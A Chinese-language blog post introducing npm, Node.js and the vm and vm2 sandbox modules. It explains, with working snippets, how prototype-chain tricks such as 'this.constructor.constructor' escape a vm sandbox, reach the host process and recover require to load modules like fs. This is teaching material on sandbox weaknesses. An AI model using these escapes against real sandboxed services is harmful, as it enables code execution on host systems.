您当前的位置: 首页 >  node.js

暂无认证

  • 4浏览

    0关注

    92582博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

浅谈NPM,vm,vm2,Node.js沙盒逃逸

发布时间:2022-06-24 16:48:53 ,浏览量:4

 NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。

NPM由三部分组成:网站,注册表(registry),命令行工具(CLI)。

Node.js,是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O模型,让JavaScript 运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。

( npm是用 JavaScript 写的,运行在 Node.js 上,Node.js 内置了 npm,npm 的发展是跟 Node.js 的发展相辅相成的。)

简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。

VM:Node.js官方标准库中有一个vm库,用来在V8虚拟机环境中编译执行JS代码,。通常,用vm库来实现一个沙箱,在代码主程序之外执行额外的JS脚本。有时,需要vm虚拟机来执行不受信任的代码。

但是VM不安全,能轻易地获取到了主程序的全局对象 process,最终控制主程序!

因此VM2诞生,解决了VM的安全问题。

VM2实现原理分析

vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。

vm2 特性:
  • 运行不受信任的JS脚本
  • 沙箱的终端输出信息完全可控
  • 沙箱内可以受限地加载modules
  • 可以安全地向沙箱间传递callback
  • 死循环攻击免疫while (true) {

Sandbox(又叫沙箱、沙盘)即是一个虚拟系统程序,允许你在沙盘环境中运行浏览器或其他程序,因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。 在网络安全中,沙箱指在隔离环境中,用以测试不受信任的文件或应用程序等行为的工具。

VM沙盒 (功能是隔离上下文环境)

const vm = require('vm');

const context = {
  animal: 'cat',
  count: 2
};

const script = new vm.Script('count += 1; name = "kitty";'); //编译code

vm.createContext(context); // 创建一个上下文隔离对象
for (let i = 0; i < 10; ++i) {
  script.runInContext(context); // 在指定的下文里执行code并返回其结果
}

console.log(context);
// 打印: { animal: 'cat', count: 12, name: 'kitty' }

//注:使用constructor可以构造逃逸

浅谈Node.js沙盒逃逸

const vm = require("vm");

const ctx = {};

vm.runInNewContext(
	'this.constructor.constructor("return process")().exit()',
	ctx
);
console.log("Never gets executed.");

//以上示例拆分:
tmp = ctx.constructor; // Object

exec = tmp.constructor; // Function

exec("return Process");

constructor: 返回一个对象的构造函数, 一直向前找构造函数,最终找到的就是Function

{}.constructor

    => [Function: Object]

{}.constructor.constructor

    => [Function: Function]

以上示例中 this 指向 ctx 并通过原型链的方式拿到沙盒外的 Funtion,完成逃逸,并执行逃逸后的 JS 代码。

//以上是通过原型链方式完成逃逸,如果将上下文对象的原型链设置为 ,
null这时沙盒在通过 ctx.constructor,就会出错,也就无法完成沙盒逃逸。
const vm = require("vm");

const ctx = Object.create(null);

vm.runInNewContext(
	'this.constructor.constructor("return process")().exit()',
	ctx
);
// throw Error

//以下示例,成功逃逸
const vm = require("vm");
const ctx = Object.create(null);

ctx.data = {};

vm.runInNewContext(
	'this.data.constructor.constructor("return process")().exit()',
	ctx
);
// 逃逸成功!
console.log("Never gets executed.");

由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function,最终完成沙盒逃逸并执行代码。

逃逸后代码可以执行如下代码拿到 require,从而并加载其他模块功能:

const vm = require("vm");

const ctx = {
	console,
};

vm.runInNewContext(
	`
    var exec = this.constructor.constructor;
    var require = exec('return process.mainModule.constructor._load')();
    console.log(require('fs'));
`,
	ctx
);

沙盒执行上下文是隔离的,但可通过原型链的形式获取到沙盒外的 Function,从而实现逃逸,拿到全局数据。

关注
打赏
1653961664
查看更多评论
立即登录/注册

微信扫码登录

0.4129s